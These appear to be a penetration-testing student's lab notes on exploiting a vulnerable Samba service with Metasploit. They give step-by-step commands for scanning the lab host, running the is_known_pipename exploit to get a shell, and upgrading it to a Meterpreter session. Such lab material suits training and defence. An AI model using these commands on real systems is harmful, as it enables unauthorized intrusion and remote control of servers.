Skip to content

Latest commit

 

History

History
72 lines (56 loc) · 1.6 KB

File metadata and controls

72 lines (56 loc) · 1.6 KB

🔬Samba - MSF Exploit

Lab 1

🔬 Vulnerable File Sharing Service

ip -br -c a
service postgresql start && msfconsole -q
db_status
setg RHOSTS 192.234.251.3
setg RHOST 192.234.251.3
workspace -a samba3.5.0
  • Perform an nmap scan directly into MSF
db_nmap -sS -sV -O 192.234.251.3

db_nmap -sS -sV -O 192.234.251.3

search type:exploit name:samba
use exploit/linux/samba/is_known_pipename
info
# Description:
#   This module triggers an arbitrary shared library load vulnerability 
#   in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module 
#   requires valid credentials, a writeable folder in an accessible 
#   share, and knowledge of the server-side path of the writeable 
#   folder. In some cases, anonymous access combined with common 
#   filesystem locations can be used to automatically exploit this 
#   vulnerability.
options
check
run
/bin/bash -i

Metasploit - exploit/linux/samba/is_known_pipename

  • Shell to Meterpreter post exploitation
background # or CTRL+Z
sessions
search shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST eth1
run

sessions
sessions 2

shell_to_meterpreter